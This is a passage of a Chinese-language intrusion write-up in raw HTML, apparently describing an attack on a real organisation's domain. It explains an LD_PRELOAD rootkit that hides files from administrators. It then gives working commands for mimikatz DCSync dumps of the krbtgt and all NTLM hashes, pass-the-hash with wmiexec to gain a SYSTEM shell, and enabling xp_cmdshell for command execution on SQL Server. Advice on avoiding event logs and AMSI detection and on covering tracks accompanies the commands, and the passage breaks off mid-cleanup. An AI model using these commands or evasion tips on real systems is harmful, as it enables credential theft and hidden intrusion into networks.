2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">好吧……那如果他试 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">rm /usr/lib/x86_64-linux-gnu/libnss_files_compat.so</span></code><span leaf="">呢？</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">unlink()</span></code><span leaf="">被 hook 了，返回 ENOENT。&#34;文件未找到&#34;。他试 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ls</span></code><span leaf="">看不到这个名字的文件（因为已经被重命名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">__rk_libnss_files_compat.so</span></code><span leaf="">，被 hook 隐藏了）。管理员的结论：&#34;奇怪，我以为这里有个文件。大概是错觉吧。&#34;</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ld.so.preload</span></code><span leaf="">里的 library 名字指向不带 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">__rk_</span></code><span leaf="">的路径。磁盘上的真实文件名带 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">__rk_</span></code><span leaf="">。Hook 隐藏了真实文件。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cat</span></code><span leaf="">读取 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ld.so.preload</span></code><span leaf="">显示路径，但如果你对不带 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">__rk_</span></code><span leaf="">的路径试 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">stat</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">access</span></code><span leaf="">，同样返回 ENOENT。这是一个没有一块拼图能拼上的谜题。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">细节：静态二进制（比如 busybox static）不受 LD_PRELOAD 影响。如果管理员下载一个静态 busybox 然后运行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ls /tmp/</span></code><span leaf="">，他会看到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">__rk_</span></code><span leaf="">文件。但实际中，管理员不会在日常操作中这么做。就算做了，那些文件只是名字带 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">__rk_</span></code><span leaf="">，内容并不明显。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">[ 0x07 ] ACTIVE DIRECTORY — DCSYNC 和 PTH</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">有了 Linux 骨干节点的访问权限，我通过 Impacket 枚举了 AD。老一套：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf=""># 匿名 LDAP</span><br/></span><span leaf="">GetADUsers.py </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">dc</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ip </span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;</span></span><span leaf="">target ip</span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">all </span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;target.bem.legal/&#39;</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># 数百个用户，DC: domain1.target.bem.legal</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># SMB 共享枚举</span><br/></span><span leaf="">smbclient </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">L</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">//&lt;</span></span><span leaf="">target ip</span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">N</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># NETLOGON, SYSVOL, ADMIN$, C$</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># SYSVOL GPO 分析</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># 数十个 GPO，部分含 Preferences — 无 cpassword（GPP 密码）</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># Lookupsid</span><br/></span><span leaf="">lookupsid.py </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">no</span><span style="color: rgb(215, 58, 73);"><span leaf="">-pass</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;target.bem.legal/&#39;</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># SID: S-1-5-21-xxxxxxxxxx-xxxxx-xxxxxx</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DCSync 是值得展开讲讲的技术。当你拥有 Domain Admin 权限（或者一个有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DS-Replication-Get-Changes-All</span></code><span leaf="">权限的账户），你可以模拟 Domain Controller 的行为，要求真正的 DC 复制所有凭据。DC 会服从，因为它以为自己在和另一个 DC 通信。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">实际操作：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(111, 66, 193);"><span leaf="">mimikatz</span></span><span leaf="">.</span><span style="color: rgb(111, 66, 193);"><span leaf="">exe</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;lsadump::dcsync /domain:domain2.target.bem.legal/ /user:krbtgt&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;exit&#34;</span></span><br/><span style="color: rgb(106, 115, 125);"><span leaf=""># Hash NTLM krbtgt: xxxxxxxxxxxxxxx</span></span><br/><span style="color: rgb(106, 115, 125);"><span leaf=""># AES256: xxxxxxxxxxxxx</span></span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">mimikatz</span></span><span leaf="">.</span><span style="color: rgb(111, 66, 193);"><span leaf="">exe</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;lsadump::dcsync /domain:domain2.target.bem.legal/ /all /csv&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;exit&#34;</span></span><span leaf=""> &gt; </span><span style="color: rgb(111, 66, 193);"><span leaf="">dump</span></span><span leaf="">.</span><span style="color: rgb(111, 66, 193);"><span leaf="">txt</span></span><br/><span style="color: rgb(106, 115, 125);"><span leaf=""># 提取了数百个 NTLM 哈希</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">不需要在 DC 上运行 mimikatz。可以在任何拥有正确权限的机器上运行。在这个案例中，我通过被攻陷的 service account 凭据（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">svc_maintenance</span></code><span leaf="">，密码 = 服务名，经典操作）进入了 DC，然后以 Domain Admin 身份在里面运行了 mimikatz。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">有了 Administrator 的 NTLM 哈希，通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">wmiexec.py</span></code><span leaf="">进行 Pass-the-Hash：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">wmiexec.py </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">hashes </span><span style="color: rgb(0, 92, 197);"><span leaf="">:xxxxxxxxxxxx</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;fs01/Administrador@&lt;target ip&gt;&#39;</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># 在 DC 上以 SYSTEM 身份获得交互式 shell</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为什么用 wmiexec 而不是 psexec？psexec 创建一个 Windows 服务，这会在 Service Control Manager 中产生 Event 7045。wmiexec 通过 DCOM 使用 WMI，只产生 Event 4624（logon type 3, network）。噪音少得多。而且不碰磁盘，没有二进制上传。Kaspersky AMSI 可以捕获 PowerShell，但 wmiexec 在攻击者端是 Python，不经过 AMSI。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我也试过 golden ticket，但 Windows Server 2016+ 会验证 TGT 的 PAC（Privilege Attribute Certificate）。没有有效 PAC 的伪造 golden ticket 会失败。PTH 已经足够了，golden ticket 不是必需的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">[ 0x08 ] SQL SERVER — XP_CMDSHELL</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对子网做 Nmap 扫描发现另一台主机开放了 1433 端口。SQL Server 暴露：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">nmap </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">p1433,</span><span style="color: rgb(0, 92, 197);"><span leaf="">1434</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;</span></span><span leaf="">ip alvo</span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;/</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">25</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># &lt;目标 ip&gt;:1433 OPEN (SQL Server)</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># &lt;目标 ip&gt;:1434 OPEN (SQL Browser)</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BUILTIN\Administrators</span></code><span leaf="">拥有 sysadmin 权限，Administrator 的 PTH 可以通过 Windows 认证在 SQL Server 上使用：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">mssqlclient.py </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">windows</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">auth </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">hashes </span><span style="color: rgb(0, 92, 197);"><span leaf="">:xxxxxxxx</span></span><span leaf=""> \</span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;CORP/Administrador@&lt;ip alvo&gt;&#39;</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># SQL (FS01\Administrador dbo@master)&gt;</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">有了 sysadmin 权限，激活 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xp_cmdshell</span></code><span leaf="">（默认禁用）就获得了 RCE：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf="">-- 启用 xp_cmdshell（默认禁用）</span><br/></span><span leaf="">EXEC sp_configure </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;show advanced options&#39;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">; RECONFIGURE;</span><br/><span leaf="">EXEC sp_configure </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;xp_cmdshell&#39;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">; RECONFIGURE;</span><span style="color: rgb(106, 115, 125);"><span leaf="">-- 执行命令</span><br/></span><span leaf="">EXEC xp_cmdshell </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;whoami&#39;</span></span><span leaf="">;</span><span style="color: rgb(106, 115, 125);"><span leaf="">-- Output: nt service\mssql$sqlinstance</span></span><br/><span leaf="">EXEC xp_cmdshell </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;hostname&#39;</span></span><span leaf="">;</span><span style="color: rgb(106, 115, 125);"><span leaf="">-- srv05</span></span><br/><span leaf="">EXEC xp_cmdshell </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;net localgroup administrators&#39;</span></span><span leaf="">;</span><span style="color: rgb(106, 115, 125);"><span leaf="">-- Administrador, john, CORP\Admins. do dominio, backup</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">whoami</span></code><span leaf="">返回 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">nt service\mssql$sqlinstance</span></code><span leaf="">。不是 SYSTEM 但有 SeImpersonatePrivilege，这为 PrintSpoofer/GodPotato/JuicyPotato 的提权打开了门。我没有执行这些 potato，因为 KSC 仍可能检测到磁盘上的未知二进制，而且收益有限——已经通过 PTH 有了 Administrator。但知道这个选项存在是好事。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">操作完成后，关闭一切以减少痕迹：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 